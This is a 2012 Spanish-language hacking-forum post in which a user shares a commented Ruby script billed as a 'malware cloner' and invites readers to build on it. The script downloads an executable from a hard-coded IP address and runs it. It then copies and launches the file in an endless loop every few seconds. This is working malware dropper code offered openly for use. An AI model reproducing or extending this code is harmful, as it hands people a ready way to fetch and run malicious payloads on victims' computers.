comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

[Ruby] Clonador de Malwares - Sanko

  • 0 Respuestas
  • 1013 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado Sanko

  • *
  • Underc0der
  • Mensajes: 541
  • Actividad:
    0%
  • Reputación 0
  • ¿Puedes?
    • Ver Perfil
    • Underc0de
« en: Septiembre 25, 2012, 04:51:17 pm »
Bueno andaba aburrido como siempre y me puse a escribir un ejemplo de un "Clonador de Malwares".
Es un humilde code pero se puede mejorar añadiendo cosas yo solo os dejo un ejemplo de como sería mas o menos.

Aquí dejo el code explicado :


Código: Ruby
  1. #Clonador de Malware - Ruby Code Example
  2. #Coded by Sanko
  3.  
  4. require 'Win32API'
  5. require 'open-uri'
  6.  
  7. #Aclaración , el @ delante de la var la convierte en var global
  8.  
  9. @filedown = 'C:\sk.exe' #var con archivo a descargar
  10. @url = 'http://199.91.152.68/n8xy2336l4og/67fcyfx9xsf31mz/sk.exe' #var con ruta de descarga directa para el down
  11. @fileacopiar = @filedown #igualamos la var del archivo que copiaremos o clonaremos a la var del archivo a descargar
  12. @clon = 'C:\tets\clon.exe' #ruta en la que el clon se copiara
  13. @timeclon = 5 #marcamos el tiempo del sleep
  14.  
  15. def copy
  16.         system('Copy ' + @fileacopiar + ',' + @clon) #Copiamos el archivo a copiar en la ruta que indica @clon
  17. end
  18.  
  19. def execute
  20.         aplicacion = Thread.start do
  21.                 system @clon #ejecutamos al clon cuando se copie
  22.         end
  23. end
  24.  
  25. def down #función del downloader que nos descargara y ejecutara a @filedown/@fileacopiar
  26.         @filedown = open(@filedown, "wb")
  27.         @filedown.write(open(@url).read)
  28.         @filedown.close
  29.         appdown = Thread.start do
  30.                 system @filedown
  31.         end
  32. end
  33.  
  34. def executeandcopy
  35.         var = 0
  36.         while var < 10
  37.                 sleep @timeclon #cada @timeclon segundos...
  38.                 copy #ejecuta la funcion copy
  39.                 execute #ejecuta la funcion execute
  40.         end
  41. end
  42.  
  43. down #ejecutamos la funcion down
  44. executeandcopy #Despues ejecutamos la funcion executeandcopy

Espero os sirva , no daré todo masticado pues quien quiera desarrollar el code tendra que pensar en como añadirle mas cosas.
« Última modificación: Octubre 16, 2012, 07:23:42 pm por Sanko »
Sigueme en Twitter : @Sankosk
Estos nuevos staff no tienen puta idea XD

 

¿Te gustó el post? COMPARTILO!



[Ruby] Traductor de Decimal a Ascii / Ascii a Decimal

Iniciado por ANTRAX

Respuestas: 0
Vistas: 1465
Último mensaje Febrero 24, 2010, 04:16:38 pm
por ANTRAX
Lenguaje Ruby, aprendiendo poco a poco.

Iniciado por Alejandro9999

Respuestas: 2
Vistas: 1449
Último mensaje Agosto 15, 2013, 02:58:39 pm
por Alejandro9999
Crafting rails 4 applications (Manual de Ruby on Rails 4)

Iniciado por Alejandro9999

Respuestas: 0
Vistas: 895
Último mensaje Marzo 01, 2014, 05:34:50 pm
por Alejandro9999
Desarrollo de aplicaciones Perl, PHP, Python y "Ruby on Rails"

Iniciado por Alejandro9999

Respuestas: 0
Vistas: 1134
Último mensaje Junio 13, 2014, 03:27:08 pm
por Alejandro9999
Shoesrb donde puedes hacerle una interfaz grafica a una aplicación hecha en Ruby

Iniciado por Alejandro9999

Respuestas: 3
Vistas: 1737
Último mensaje Mayo 21, 2013, 03:51:00 am
por D4rkC0d3r